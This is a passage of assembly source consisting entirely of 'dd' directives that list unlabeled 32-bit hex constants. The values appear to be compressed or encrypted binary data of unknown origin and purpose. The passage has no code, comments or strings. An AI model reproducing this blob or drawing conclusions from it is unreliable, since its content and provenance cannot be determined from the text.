0BB1CE65Ch dd 5CA0958h, 0A0041AC0h, 2238546Fh, 0F8D3262Dh, 0A65A63C0h dd 433A3ED0h, 5CEBE002h, 0C0B40736h, 8076EAB8h, 0BB48E183h dd 8585C898h, 0C0D1EB01h, 99BD6FF6h, 2489701h, 0A22BBB74h dd 38A3F3C8h, 0B701C738h, 0B3A8E31h, 0D0002E20h, 932FA608h dd 20345F37h, 0E901EB4Ch, 4D81D02h, 0EAC44AA6h, 0D8715Ch dd 0B1C39233h, 12009C1Dh, 542BC94Dh, 38CB0CC5h, 99BA515Fh dd 0A60A5582h, 6CC058E7h, 9C4AFBF5h, 23BC8422h, 4194F483h dd 60C41835h, 48C5A645h, 100BE472h, 0AD58FC2Bh, 26E4C2F4h dd 21082064h, 8A0016D3h, 77AF633Ah, 9554419h, 5F14CBEFh dd 0B70000E4h, 970AD263h, 1D7E6722h, 80B13943h, 98EA8AB5h dd 190085E2h, 0FAFDD04Dh, 88352B0Eh, 560027E4h, 0BBA73003h dd 26692C3Ch, 0F87DDCh, 331DA357h, 3705F8A2h, 0D35A0495h dd 1F7F888Ch, 32C3EEAh, 0E29428B2h, 0D51B0CE0h, 5EDCC81Eh dd 433E1F0Eh, 0A8CAB674h, 0A9573AAh, 37A25665h, 1C0C05E8h dd 88781239h, 83393AFCh, 438200B3h, 38C6D652h, 30275E79h dd 7E2D848h, 9CB43E28h, 6636CA00h, 49829C06h, 0FE1E12FBh dd 65E4A056h, 108330A1h, 0D61E7Bh, 5CF45B39h, 14508193h dd 1F5F4800h, 0CA9F41FCh, 0A25712A5h, 2AE40BE0h, 6E6924E8h dd 0E791201h, 9B650FC9h, 98ABF070h, 0AC349633h, 760E60F0h dd 88BA5966h, 0DF2BF713h, 0EF722C41h, 0C070A22Eh, 983505A3h dd 680F32h, 0AD8ABEBCh, 8024569Ah, 0ED6230B4h, 0B425259Ch dd 0A00B5F8h, 9207F7A8h, 0AC54FCh, 0C14F7FC0h, 28ABDFC8h dd 259EDC12h, 0CB2AA491h, 6E60F1DDh, 0E96F0061h, 0BD98834Bh dd 7B096733h, 35710BFh, 273FDBCh, 0F6A92930h, 0E041E40Eh dd 0D498F2CAh, 0B0EC577Eh, 0A6931E00h, 0F3BAEF43h, 0A9716E2h dd 42AC019Bh, 2A85ECF5h, 6B44A000h, 12EF73A9h, 0F16C5EF3h dd 0BF21FE6Ch, 0E8A52D32h, 1844A044h, 7957051Ch, 83E1F28Bh dd 0DF80214h, 812FF00Bh, 9DA020CEh, 96F7FBh, 0D25C9A7Dh dd 0C50A1659h, 6BE55F12h, 361CAAA8h, 8411C9BEh, 24008464h dd 53C97B34h, 4F7868Eh, 611C29DDh, 0CE0CEC1Eh, 3F6D029Fh dd 91244349h, 0CB712EB0h, 0EC3D4470h, 4877030Ch, 31DAE93h dd 0ED0AD9EEh, 0FC8D980Fh, 0CB073B07h, 726D4200h, 0D9CA137Ah dd 0FC9702F6h, 5C7487CEh, 5A017E38h, 2923A278h, 0E0482B27h dd 0DA180087h, 16A692FAh, 9007BF58h, 0A84BAB72h, 0CCC9DE0h dd 9C356074h, 44653268h, 91F6014h, 8A3E3964h, 0BC252182h dd 42909640h, 872E0072h, 0D532EE8Bh, 41E05F6h, 8F57577Ah dd 6E0CA004h, 0E6259E5Fh, 3A7F003Fh, 2C0E7103h, 0C85D7000h dd 0A75415A0h, 74379ABh, 523BC166h, 95047032h, 0F6036BE8h dd 9C9DE10h, 7D112B7Eh, 0BE968604h, 981F1086h, 29E437E5h dd 1DE62900h, 7030EBF2h, 0DF48037Ch, 0D225970Fh, 0E92E1C80h dd 8D4CB900h, 5E3336F0h, 0D7A43D8Ah, 0BC9213h, 0D950D216h dd 0DDB057DCh, 0EFCDA600h, 0FAE71EB1h, 0E46800A3h, 0C847AD6Eh dd 0C10F4CBDh, 62FED63Fh, 41DA3B90h, 9FF13C66h, 32411E4h dd 795B30C5h, 5FC80C56h, 69077083h, 4CAB08B1h, 0C2E6A510h dd 6BDD00FDh, 1F632317h, 8800F943h, 0E29BF4A0h, 1C93249h dd 72E73EFh, 0DCB0EBD1h, 5F98D2FAh, 0E13DE00h, 7B27AD1Dh dd 0E7AE0983h, 0B60117F2h, 0D8057658h, 0D81CE318h, 0DE038977h dd 0E0E7D5A7h, 7ECA3Ch, 9BFB7F14h, 510BCB59h, 25492100h dd 0D2366E0h, 0E69E1C69h, 1FF340C5h, 14459BDEh, 22899206h dd 1DB10BE8h, 0C0D85A9Fh, 3104EA2Fh, 0B76272F7h, 2E53C738h dd 92971480h, 15006D2Eh, 0C2F38E3Ah, 0A80371h, 9AFCE805h dd 55049991h, 723B89E4h, 0F1A480D6h, 8DB91710h, 1C34F209h dd 0C0433C96h, 0A5160156h, 4800632Fh, 148CF139h, 836A29h dd 78288FACh, 4FF3734Dh, 41894E00h, 4A117DC1h, 93980014h dd 5D4C7720h, 0B21FA445h, 1DCBE86Ch, 0C08F8487h, 180312C0h dd 328A2EDCh, 0D76400A6h, 7ED89B5Bh, 0EEE0E500h, 310384FFh dd 0E0DFEB92h, 7FD9313h, 646D62A9h, 7EE790DAh, 161E65B2h dd 5380D505h, 0C9FEE2Fh, 0FC9100DEh, 63DB556Bh, 0C600A021h dd 88E7C8F3h, 0AE794Fh dd 1002771Eh, 1A4B9A60h, 39ADBD00h, 0F9DC37A5h, 5B3F00B6h dd 0FC188E2Ah, 0BC1E2E8Fh, 0B7C0547Fh, 990E5A5Fh, 1D6376D8h dd 802BDA68h, 39157B65h, 2D00B34Ah, 0E7ABCF1Ah, 6B9411h dd 0E83EC205h, 213A8253h, 0FF9B840Fh, 0E27F23D4h, 0B1578883h dd 47A7BA1h, 8EF3F069h, 41D8C0AFh, 0EF1E1C7Dh, 4F4FE48Dh dd 0E94BC372h, 69FBA806h, 0F117014Ch, 4D4A59BDh, 0F403D902h dd 3B167944h, 1000D553h, 9A645DA1h, 2F870070h, 42416838h dd 7B002CCAh, 86FA2775h, 0F067FEBh, 5D135E7Eh, 0C7E86A78h dd 6837E000h, 8FE63279h, 0BDE417DBh, 4A810FE3h, 775DBE80h dd 3700EA16h, 830AADC9h, 21303Ch, 0FF89BD54h, 19AEE659h dd 0E3278B00h, 7AB8684Bh, 15F8243Ah, 29B90069h, 91A9177Dh dd 0FCAE4E00h, 7A2D5CDFh, 78AF0074h, 0F0DAC5EEh, 280094A0h dd 87609D14h, 0E2E60FF5h, 0B1241CE8h, 29A14067h, 2B61DDA0h dd 0B0E0200h, 0BD772DF3h, 47B91ECAh, 44EA00F1h, 2CA1F231h dd 633C48h, 0D5726798h, 0A061D6h, 13CDD227h, 80D4BCE4h dd 78B6D300h, 15455891h, 75EE0029h, 0A8DEA446h, 402A0984h dd 0AAF6843Bh, 4B27AB1Eh, 2DC7A005h, 3958A700h, 990BF5h dd 0AE1C1E48h, 9DCECDDFh, 19BBC000h, 6A0FCC5Eh, 61DE0064h dd 0B9BCC5AFh, 1FE67C81h, 41E240EAh, 229BDD00h, 718F101Ch dd 47C203F8h, 70A619E5h, 0D36C3803h, 0F95CF115h, 41809820h dd 0FB1E597Eh, 270011ACh, 8B779F6Bh, 21435EFh, 1726A9B8h dd 99E0B97Bh, 976FCBFh, 0D6A4D900h, 0BA23EBAh, 28C81F73h dd 8E6F417Ah, 0F8B53C20h, 167DFC32h, 0BDF70200h, 97043111h dd 3F8E03B3h, 770F9E3Ah, 8BE8F98Bh, 940970FDh, 0FBE13B0h dd 3BEB750h, 0FE4E63ACh, 23249988h, 498E0801h, 7AE837DFh dd 73A5C0h, 55F3772Ah, 1F510697h, 0B1045F00h, 2FEAFBA7h dd 72CC0035h, 0FD921BB8h, 41009A58h, 95896922h, 3D46096h dd 49858355h, 0D1C161C1h, 818CC8D6h, 48671C00h, 4B021D0Ch dd 91F806h, 80FF8401h, 0E4D96832h, 0CC61311Eh, 0EF6A78C0h dd 0F8BCA2Eh, 3334D89Ch, 0EA93CDA2h, 321B849h, 3540E7C5h dd 11219DDh, 2BA6EF7Eh, 405FF6F2h, 8039CD0h, 68638403h dd 0E05C6BF8h, 65D1099Fh, 0C0F02046h, 6C4AB01Ah, 0D07D4401h dd 5F4E0457h, 2F60A4C5h, 3D830062h, 0D2A6C433h, 4200A3CAh dd 0BC09EC9Ah, 1BB3CDCh, 860B8BAAh, 0E85A81D1h, 8C0010A0h dd 41A94AC5h, 7583990h, 1CAAEC75h, 0E8D502Ah, 740094DDh dd 534324C4h, 7C9736h, 0EA2D56D1h, 585AF6F8h, 850013B0h dd 0D92F288Dh, 44D782h, 45C98381h, 1AF0573Bh, 35EB300h dd 13043FAAh, 3D7D50h, 8AD14371h, 8032915Ch, 0D66B6E00h dd 0C5D0F1E0h, 50769Fh, 0C5C48FBh, 66512671h, 8A28B60Eh dd 0D0F9409Eh, 3DF4DCFh, 0D19C6360h, 9580BDABh, 0C50165AFh dd 9B744F8Fh, 8A4140EBh, 1CF4F363h, 62CB0E4Ah, 5AC0A45Dh dd 0BFE52919h, 5F70601Eh, 0CB1058C0h, 604DC6F5h, 0B88F4080h dd 277959F1h, 922C2B00h, 79853273h, 48BD0058h, 0B668D321h dd 2400EAABh, 0CBCD8F4Eh, 573A14h, 0BFFC3FC4h, 0E666D670h dd 0B400997Ah, 95752719h, 16861D5h, 0F742CFCh, 3560CA59h dd 886D498h, 0FA841900h, 2C30813Ch, 4CE300A5h, 0B845A2B1h dd 0CC052D43h, 31906A54h, 924B30C0h, 0AC27001Fh, 9EBE48F4h dd 5902EA39h, 517C8BFFh, 0D14840A7h, 0B19901C7h, 2137976Ch dd 0E70BE4Eh, 98B9B2C9h, 3F483980h, 867C4EEh, 0CCF640B6h dd 21C3BA29h, 34DFE37h, 9A8FD739h, 40976C78h, 0AC79B1A5h dd 0C31DC80Bh, 0FB980187h, 0FC303EC6h, 0F387AB5h, 0B0059720h dd 25120600h, 0F800E6E3h, 0DD924A8Eh, 589CBA0h, 36BC55E7h dd 97504A20h, 704F0140h, 81D66EEEh, 0D51BB711h, 398263E1h dd 7729DD8Dh, 143D1880h, 0B907FD4Eh, 0AA65A635h, 0F9DBA540h dd 0FEB8A862h, 68FD6097h, 95780A73h, 5F28C00h, 0D65B48EFh dd 658D0060h, 0C1526ADEh, 3E003DA5h, 0FC67B828h, 405ECAh dd 0AA3B6BD7h, 69CE1EB6h, 0CAB358h, 6A6EDB02h, 76E54C15h dd 83980060h, 3D8154B5h, 4FECCBCAh, 3224A900h, 0AC689BC9h dd 0BB8201F3h, 0FC9F98DBh, 5D805355h, 27A79788h, 0A52E6300h dd 0F1E2462Ch, 0EC6D005Bh, 375482ABh, 1A61D715h, 0FCE9B30h dd 7100C0EEh, 8E090141h, 0E4BC0437h, 30B52176h, 5F0065CFh dd 4BD3C025h, 0FCB6AFh, 0B1DFDB1Fh, 0D58C8B39h, 8F873300h dd 0EF08A5C2h, 0E398A85Bh, 5D8300D7h, 0E1B4F880h, 0F400B757h dd 29C473DEh, 431C53h, 2FD55831h, 0A9A3B934h, 829C6A00h dd 0CF5F86C4h, 0B6F50BA4h, 2B804CD6h, 0CDBA8C2h, 2903A07Bh dd 9F84D594h, 6D1800EAh, 0FF5A9C38h, 80C054A1h, 9E5BCCD1h dd 8CF0A8AAh, 0D08D00ECh, 1AF7A3C2h, 8E3BB65Fh, 90288091h dd 92687C47h, 0DDD012DFh, 50282357h, 24C763A0h, 4891EF30h dd 7FA235C1h, 8911008Bh, 0E01F0F96h, 0B77E66F9h, 56B66400h dd 0B8B5EBA2h, 0D02A00C9h, 0E9C62D2Fh, 8D31BD51h, 0B61408DAh dd 838208Fh, 0E7F3EFE0h, 24F635BCh, 0C8286207h, 0CF405A65h dd 0F6C0E1Ah, 0DB938792h, 47E667C0h, 0B90C85B1h, 48BA2EC1h dd 0A3333A03h, 9BB60A03h, 813CF83Dh, 5F5780C7h, 702A9E01h dd 0BAD10112h, 0D832ABC1h, 0B71894F5h, 84D4211Ch, 0B3C42h dd 8B9678EEh, 0E470A5B9h, 4BB76149h, 0CAD27DCh, 5218480Fh dd 0CA0E4958h, 98F23D9Fh, 309880h, 2B1DD4D0h, 0FE709A13h dd 8BEB0B74h, 0F098AFA1h, 0F9DE294h, 1A8F5010h, 20C826C6h dd 748E62C7h, 0CA8A3E6h, 0A615D8EBh, 7500C7B8h, 9B6DB2CAh dd 0BDD45h, 0F301F763h, 0DE5EFFC0h, 5F782800h, 84F9E1CBh dd 4AEE00AFh, 0CD2D373h, 280074C1h, 6362D477h, 1F0B459Ah dd 0C7751B3Eh, 10CACDB7h, 7F7766B8h, 0AD63A9ECh, 0C09F7CD2h dd 7DCC39h, 0F5F44A03h, 0D40E2BD5h, 35658B00h, 4D1518BCh dd 61CE1CF0h, 2EE08094h, 4B72020Fh, 0D4F32C00h, 8B5F7582h dd 1CF40767h, 40F714BEh, 99315D06h, 6A12A50Eh, 7386E3BFh dd 8B83F555h, 6997D0C9h, 54CEE18h, 8007CA9Dh, 53D180F6h dd 0D700C8FBh, 0F0E56978h, 7C3F9BFh, 9A227934h, 0AF67A0D0h dd 94EE6A0Bh, 31C685Ch, 2A358A7Ah, 0A570EFF0h, 0A8BC9Fh dd 95D0949Bh, 7962D9EBh, 0D45D6918h, 60C27B50h, 0E406B035h dd 700F62Dh, 14A85FD8h, 7A4FBCB5h, 0E366005Ah, 0B16322CBh dd 0F80F94D5h, 0B878D6CCh, 434A38h, 45EC89D4h, 4F912D35h dd 0E485A606h, 103611h, 1F29BCA3h, 88D4F28Dh, 0CFF97500h dd 0CCE3FCB2h, 0EEAC3B9Eh, 7EB0C400h, 0C6A908C8h, 0C068C00h dd 43E0124Bh, 0FF911EDAh, 6004290Bh, 0D7035DCh, 820FA9F8h dd 0C0C94A58h, 0FF75E651h, 0C6F4F0h, 0A2DB4403h, 0A83D60EFh dd 29C45AFAh, 6703E59Dh, 0BD900771h, 0F81682E4h, 8707A315h dd 647079ACh, 96F0C8h, 0AAD69C4Ch, 855CED28h, 0CECB3C00h dd 8168E0BAh, 0B66A0E9Bh, 6DE02D49h, 45474887h, 0EE0EC900h dd 1D345097h, 0B0700E5h, 9256261Ah, 7476CAA7h, 8C44C300h dd 0A340B975h, 7B1C0048h, 46242E07h, 0F13E9E32h, 411160F3h dd 1A0C462h, 0CEB652BEh, 407595DDh, 1B95E80h, 18133200h dd 0A9E709A0h, 86B40372h, 5B822FC3h, 3FDC5790h, 70ABF500h dd 0B719A554h, 0CBFE75h, 0ECD5726Fh, 0A933B92h, 5C30DE00h dd 0EB94B3A5h, 7F0600FBh dd 0B80F443h, 7D003746h, 0CF55D868h, 0E04E17h, 577F69EEh dd 0AD36D20Ch, 2DA5EA00h, 58912C76h, 0EFDF480h, 0DA4D5407h dd 77202E20h, 100078ABh, 0F6665535h, 8F80Dh, 71092AE4h dd 6929327Bh, 41543C0Eh, 86C98033h, 72A62F80h, 356F01BCh dd 19DC7DA4h, 8284D02Eh, 14A1111Dh, 7F5EED43h, 956C8936h dd 3CC92F4h, 4DC4A96Ah, 2298914Ah, 0AD00CD35h, 747179BDh dd 2C4916B2h, 0F2713BEh, 58E0C1ACh, 0BC655EB9h, 0E3F37A00h dd 231282BFh, 9E4E003Ah, 0F57FA264h, 0FF00BDFBh, 9F93529Dh dd 1F7EE39h, 0B17A75C2h, 0C80543ECh, 0AF00AC50h, 477FCE81h dd 0E9588Ah, 0F9EA2F1h, 44B6A822h, 283DEA00h, 631AB9F5h dd 0D8883A8Eh, 4B9D2EF2h, 6C23000Eh, 2295F725h, 143180FFh dd 0FDB07E8Fh, 980C0BE9h, 0E801BCAFh, 40288BB5h, 18729DDDh dd 4EC21E00h, 7C14CCC0h, 5D440BE7h, 0FFA85Eh, 0B75C4746h dd 0E1370FFAh, 0DA20FB5Fh, 0D14B60FDh, 0BDD0AA00h, 97474087h dd 5FE45Bh, 0DCEB1124h, 4F427E6Bh, 0E421950Ah, 0B90080EDh dd 75AA7369h, 0F9803F79h, 3C18E3B0h, 0B23ACBEEh, 0B71060B6h dd 0D319E6h, 0CC72D026h, 86E32A8Ch, 534D1A0Eh, 0BFDC30h dd 0D4BE773Ch, 396D3859h, 0F100EAA1h, 21DC1BCDh, 15009764h dd 0ACBD08F6h, 61F9Bh, 0A87A99DDh, 1A3B72C5h, 0B5CD0300h dd 49810CADh, 16B0006Fh, 0E9202DB4h, 1A029EBCh, 9146F8FCh dd 2BEDE087h, 88EA60DBh, 643EAA7Ah, 0B0503100h, 962F9C80h dd 0BBC300CBh, 8178179Eh, 0D5B892D5h, 63BDD30Eh, 85D86053h dd 72EC60h, 1397EF1Fh, 4DBA4C44h, 0DF365B07h, 0A0301030h dd 1C32D76h, 42074B9Eh, 6053FE6Eh, 453E3753h, 754C8E8Fh dd 0DFD7E348h, 18EBD8B9h, 0B0870EA8h, 1EE0315Eh, 84E54BAEh dd 0B029C5A3h, 3E809CA5h, 0E7BB1048h, 0C07802ACh, 32B6CC0Ch dd 0A1C116C0h, 63F863Ah, 0DC9D4EE8h, 1FB9810h, 0D4281157h dd 0F81AC5C2h, 0A80B50EDh, 90BF3Dh, 3911EC47h, 6F101CA2h dd 22FEC0C1h, 4658BB24h, 8B456C0Eh, 7B07C0D6h, 12BC87h dd 772FF05Ch, 9DB58C30h, 824157Ch, 0C0008E66h, 627C3DFCh dd 0F678FDh, 0B82263E4h, 934A2712h, 0CDEE96E8h, 0FEB94507h dd 38B16DA6h, 4871DE0Fh, 0FE5E4C0h, 0C4CEE8A4h, 0F2B0EC20h dd 2E2E0260h, 1A01FD3Ch, 0B3E4D27Ch, 1464F4h, 0B4DF8C19h dd 0E5FEBA63h, 71A1C20Fh, 8E28A080h, 171F93h, 278E2BDh dd 9CD0AD1Ah, 2150C700h, 0A0C8B74Dh, 863404A5h, 873DF09Ah dd 3254F009h, 180A3BDDh, 0A4C66BE4h, 0D8760601h, 0B453B1F0h dd 7ACF044h, 4C480026h, 70304BD9h, 63D6603h, 0F58100B5h dd 0F29F8947h, 43AE24Ah, 73E8B845h, 79C2800Fh, 4960F614h dd 11BE5718h, 1F31008Dh, 0DBC9AC85h, 2700A337h, 8B7D5FC5h dd 1269438Ah, 14830DD5h, 0E9790CF4h, 182E6070h, 0C093B30Ah dd 350185AEh, 311D177Ch, 61E0965Bh, 0EBC00FBh, 0A68D2BA1h dd 2F00F130h, 96F434D9h, 1552F9h, 0D166DCBBh, 0ABBE0574h dd 0B9F2AF00h, 43950A94h, 53440A75h, 1B5C4D0h, 13796660h dd 0D01C31BAh, 0D5E0C9F6h, 0ECF7A507h, 0E06FE11Dh, 60BD3BDEh dd 0B15D00F2h, 1F014A18h, 5C49EA3Ch, 0A77E00C4h, 0BDD703Fh dd 0EBD80053h, 0FA3CC6CEh, 9F00B922h, 335E5C3h, 5888AD1h dd 5C7B6669h, 0BBE003C6h, 7DC81E29h, 0EB00BD97h, 46E0C472h dd 24909A27h, 148742h, 0D0CE96B8h, 0B603D37Fh, 18ABBDA7h dd 0C5810050h, 0DE6B9B93h, 713AC60Eh, 9373AD6h, 1FEC8Bh dd 0AAEA22B6h, 786C74B3h, 0F2E50029h, 8AE30A05h, 7C030E10h dd 4628BBA9h, 24A8A8C7h, 47F00D8h, 0A208209Bh, 72005053h dd 0F1187D9Ah, 6767E16h, 5A9BFE60h, 91106130h, 53004B95h dd 20733D11h, 5600E96Ah, 0E61E44FEh, 182C1D2h, 0F3E32F10h dd 8A679FA7h, 24539B91h, 0C8E66C0Ch, 0A2100011h, 0F32A2447h dd 0E47B6A2Dh, 0E300FD78h, 3C7F264Bh, 0DCB8D5h, 0F1E76402h dd 0CAEA27DDh, 13AF300h, 0AA119BECh, 633F0056h, 0B37A4B9Fh dd 2B004787h, 0A436048Ah, 2D919Ah, 3BA29379h, 267371F6h dd 2E8F5D00h, 48FC0206h, 0FF451E58h, 0B33DC0FEh, 0E1F34108h dd 858EBD1Eh, 0D99A81C1h, 2FE0FBB7h, 61A90069h, 0A82D10B2h dd 0F80068C2h, 0C686F7F6h, 370FFFh, 84BAFB25h, 9D8C693Ch dd 3E3F4EE2h, 87F89DA1h, 0A40E881h, 5DEC5655h, 0A3CE00F3h dd 4ABCB342h, 5C009F97h, 99EDA904h, 3D43FDh, 0CB27F659h dd 3AD95B9Ah, 473B400Ah, 3E009CB2h, 43A5DF6Ah, 0ECF432h dd 0EB3401ABh, 6DDEB98Fh, 1804A330h, 2FC253h, 216A37FCh dd 484E67A7h, 7E078EF8h, 222829E7h, 8FDD0CE2h, 73DE00D0h dd 253415Eh, 0AB303B81h, 0ED633DAEh, 6E6B2100h, 759B215Eh dd 0D1081EDFh, 0CC018163h, 0F9AB6218h, 0F31271F6h, 4C3E3100h dd 8C63B2E0h, 91A900C1h, 8F24ECB4h, 1F07F0DCh, 0C303E3D1h dd 1823403Ch, 18F1B66Fh, 3624E748h, 424024B2h, 1C17EFC6h dd 8C10D2E3h, 3C08DA9Bh, 0A720E960h, 0F31EF2Ah, 5777D4D0h dd 49228426h, 366F240Ch, 3C158F9h, 0ACC218A6h, 3CE09C03h dd 6EF2AFB6h, 2AEA7000h, 4F376BDEh, 0E361206h, 8BF900E9h dd 5570B4B9h, 9103E7FCh, 3CBBD113h, 12A1B089h, 0BFBD0010h dd 9B08446Ah, 0A300D7F6h, 6EB7A42Fh, 3C3BD87Bh, 8C805EF7h dd 52FDF586h, 400BB09Dh, 80773022h, 0EFD73F73h, 1CD5000Bh dd 91C8EABBh, 0DA3CF3DFh, 7E60079Ch, 0C570DBACh, 1DC5F47h dd 6AECC039h, 0F87019CCh, 930E8930h, 631B9A7Fh, 0C8854C8Eh dd 0E42E5Dh, 9B23752Bh, 0F854D7C9h, 24EA8F07h, 3B96BFC6h dd 86048711h, 10AEECDDh, 3A212700h, 0C1D787F5h, 0E9B50056h dd 0EF8F3CB3h, 9F01DD54h, 27F741F6h, 2988447Ch, 8A884FA5h dd 84CB908Bh, 8944531Ch, 280D4A52h, 0AD84C710h, 0B06D4F51h dd 8FAF9100h, 72B1667h, 980073B0h, 0B3C3596h, 34BE6Dh dd 588DE782h, 8F7038F3h, 0E4A2B200h, 7013512h, 0F2870098h dd 0F754FA82h, 6D00F4A0h, 0D40A8581h, 0AE1319h, 0B01D5035h dd 0B141FE4Eh, 8112AC18h, 0ECC0C528h, 29DE0EC2h, 5960A2B8h dd 177064BAh, 774D1900h, 0B77935BFh, 0BB480E97h, 0D5C013E3h dd 4901122Ah, 0CCBD5C00h, 0FA036825h, 0B4AE0780h, 5D9E030h dd 64E300B0h, 0F510E2F7h, 33F93A00h, 5642D27Dh, 2E90C6h dd 0EC46DC48h, 3CEE6086h, 19C0ACF0h, 94876E4Ch, 0E7D0003Dh dd 636275BFh, 91C7DA56h, 0C4B0D8DEh, 0A9B6582h, 0F691E83Fh dd 0A0C900F4h, 3D13107Ah, 75B14E00h, 0D4A483B7h, 0DB500FDh dd 0B9502889h, 0BE007C96h, 0A76E4A9Ah, 6ABA11h, 75BD200Fh dd 0B9E0B101h, 0C563BF00h, 46419830h, 225D00D8h, 0E35E17Fh dd 33009538h, 0A2193D4Ah, 96251Fh, 1C94C824h, 0FE637176h dd 0BF72D33Ch, 80CE3F41h, 3F53A41Ah, 0EABE7DBFh, 18E2000Ch dd 4259AEC3h, 5CFEDC5Ah, 29EBB600h, 0B5623597h, 0E230186Dh dd 19F828D4h, 0E5F77700h, 0D0DB1187h, 9D2100B3h, 7A04B917h dd 6C006B49h, 77C3A7F4h, 0EB557CAh, 62814F63h, 19B2D2C0h dd 502E469h, 17846BC3h, 0CBCAE0D3h, 5DD63A40h, 0FA62A180h dd 75F587F9h, 448A6E00h, 70D53BE0h, 4C6801FBh, 7A4C839h dd 0EFC83087h, 0A9D60E2Eh, 75C57E00h, 0FE2211h, 6CA6782Eh dd 0D2F125CFh, 442D2703h, 0D7730D43h, 9A598E50h, 0CB1E0049h dd 39C77F29h, 0C1009D08h dd 10F1A898h, 0B882C226h, 36690033h, 0D1D72A7Ch, 6C00855Ah dd 945620AEh, 2FBBE9h, 9818C8B0h, 0CC714E1Dh, 68DDA300h dd 42FE7A2Ch, 0F8E602E5h, 997B98B8h, 0AF375EE0h, 5C33173Ch dd 3D3A0004h, 0C2C0CD15h, 645E0072h, 52EA9697h, 1300039Ch dd 0A4F5091Bh, 0FF219D3h, 0AEF101D5h, 639C5620h, 89026E94h dd 5A3D8D13h, 0CF2F40F2h, 1D1E4BBh, 39CB9133h, 50EC1E66h dd 95F7B2E0h, 88282700h, 56C5AC5Ah, 0DD9091h, 90A87B9Ch dd 26B9056Ch, 7FB49800h, 634421E7h, 0F49B00D3h, 0CD948548h dd 352C0C18h, 7900CF78h, 42E00427h, 68D9011Ch, 77DD4422h dd 175020F1h, 71657A00h, 0D867B39Bh, 0E3F500ABh, 0F27FE9BDh dd 401CCE76h, 32CF6112h, 51D7C079h, 0A623Ah, 27F01067h dd 58C31C3Ch, 396E9B00h, 9EE119ADh, 0DF305CB2h, 70D024h dd 11AA4202h, 0A40CCC07h, 70663EDDh, 0DCD801ACh, 5A7B26EEh dd 9FEFDC3Fh, 7F1F571Eh, 480D480h, 847642h, 0EBEA5027h dd 644853EDh, 17E2C003h, 8037603Bh, 172514Eh, 90A2FCD7h dd 43806E7Fh, 7E8043B8h, 0F4001E40h, 752169AFh, 3E4C1AD6h dd 9A8EC70Dh, 0B40034D2h, 91824F16h, 0A4670900h, 5E80737Dh dd 14E039A5h, 8457D400h, 9C3851D9h, 1293EA01h, 755B4EEh dd 8582C8h, 9F58FE25h, 0D629842Dh, 0A328300h, 98ECA8BAh dd 6B510120h, 62D949Ch, 6F46FC68h, 0BBDB4B00h, 18B026DAh dd 7356007Eh, 0EEB538CCh, 2013FF0h, 242D66B2h, 87D9F8DAh dd 3B1D160h, 0E85774F3h, 73C0E378h, 0E216B30Ch, 0FB0087A6h dd 0B53ADF88h, 0CF57003Ch, 5E1EECC9h, 0B4013429h, 4AC02F89h dd 9730C2CCh, 7DF80C26h, 0FD18B5DCh, 3E337F00h, 1651D380h dd 0FF7E019Ch, 0DF440397h, 0B819CCB7h, 0F93954F8h, 0CDBE0075h dd 343B0939h, 736500D8h, 0B8B39DE8h, 16008EA1h, 82B5324Ah dd 1FD9644h, 0E66388FCh, 0C5A33190h, 0C447F162h, 0FE01F8C6h dd 0FB25FAA8h, 0C9C899B5h, 5CE04Ch, 0D31F18F1h, 3E7C3B05h dd 0BF6F5D01h, 0E46BCB64h, 26CDAFC0h, 73295B6h, 80CAD943h dd 0B5608220h, 17BA0300h, 0FB3053B3h, 96510540h, 0FC8A7404h dd 0AF0A0003h, 0EEFD1760h, 0D51C58A9h, 2C35A300h, 8C4C5EDh dd 92584650h, 7298FE02h, 0C0346BC6h, 7D57ECCh, 6045BCA3h dd 0B76FB004h, 64B8D87Dh, 0DC7A9A1Fh, 41E1FC87h, 5227CA21h dd 6377ECh, 44F864D2h, 0C76D9C8Dh, 9B01EFB0h, 35034518h dd 0FBD8A822h, 4C8A00AEh, 530BCF9h, 7700987Fh, 9B0ACFADh dd 805765h, 7228AA1Fh, 8731CC7h, 0C4AD8800h, 514B0C27h dd 59BE001Bh, 0EAE948DBh, 530364DAh, 91B1D873h, 2132B06Ah dd 7C8700DFh, 36606F47h, 4E0035AAh, 3B5141E8h, 77E0323h dd 400714A7h, 0BAC860D9h, 97010B81h, 72F1419Eh, 0B5EC804Dh dd 0C17F00ABh, 0B9358955h, 962E6DA9h, 951DBA2Eh, 0A75F8B40h dd 3F7671A0h, 0B980090Ah, 8875363h, 1F047742h, 83F660EDh dd 0C60354C5h, 0EADA71D5h, 0CF03E03Bh, 804F0415h, 80815C35h dd 0E1EABD0Dh, 828C750Fh, 0BC8BC07Ch, 0B3769A0h, 0E51F3593h dd 1986B580h, 0CA0C124Bh, 0F02AFB1Ah, 62AB00DBh, 7F4D1540h dd 0E53AE147h, 5A00F9E3h, 0C15D41EDh, 0B596A0h, 47681ACBh dd 2F8C547Dh, 99136B00h, 1B23D278h, 555000FEh, 0AD7963A0h dd 9B18C566h, 30F8B90Bh, 0EB7F00A9h, 7ED34152h, 31EF9E1h dd 0F140FB5Bh, 0B7ED24F6h, 1C210077h, 638E2C07h, 6490AEC6h dd 0EFA0877Bh, 0C9011836h, 788FB031h, 0FEC02A40h, 0F2590079h dd 0A3D21421h, 0A500262Bh, 31CBF04Eh, 0D81F0Ah, 6AECFBBCh dd 0B82A9D09h, 0EAFF6900h, 60038951h, 8F1D009Ch, 0AFA0DAE4h dd 200085FBh, 0ED4B442Ch, 15B8BE3h, 427AE99Eh, 0E0F8A3AEh dd 0E100B250h, 0F2B1DD17h, 3AC069Fh, 4F452667h, 0DAC02934h dd 620FC216h, 0A0A5752Bh, 0AAD2ED5Dh, 2D6A01C3h, 531C9DA8h dd 983FF09Fh, 0EEA10926h, 419A1100h, 0C16AE7h, 0B2927AAEh dd 0DB755A91h, 0DA003BF4h, 436F691Ch, 0B0F7ECDCh, 1ACD0384h dd 0B72E28C2h, 73F0DDD3h, 7200703Bh, 0EBF662B4h, 0A1883F9h dd 8E8DED8Fh, 0D34301EFh, 0F8ECBEF0h, 6C2C587Fh, 7C3FC2F1h dd 0D4003A98h, 0EC7C8183h, 9D9411h, 5C851E62h, 183ADAEBh dd 0F07BA800h, 5AD48AACh, 0F4CC9003h, 14A4A89Fh, 4F7800C4h dd 0AF325664h, 4FAEC76h, 0AB0080E2h, 52CC7A23h, 0E3847A7h dd 8A51E19Eh, 0EEA028A0h, 6A3923F7h, 0ADB28193h, 1ADB206Ch dd 0EF3C6080h, 99945C57h, 7471EC1Eh, 43864540h, 0F64CD44Fh dd 0EE150039h, 801B0B07h, 0FF2803F5h, 0BE0A8C2Bh, 8849830Eh dd 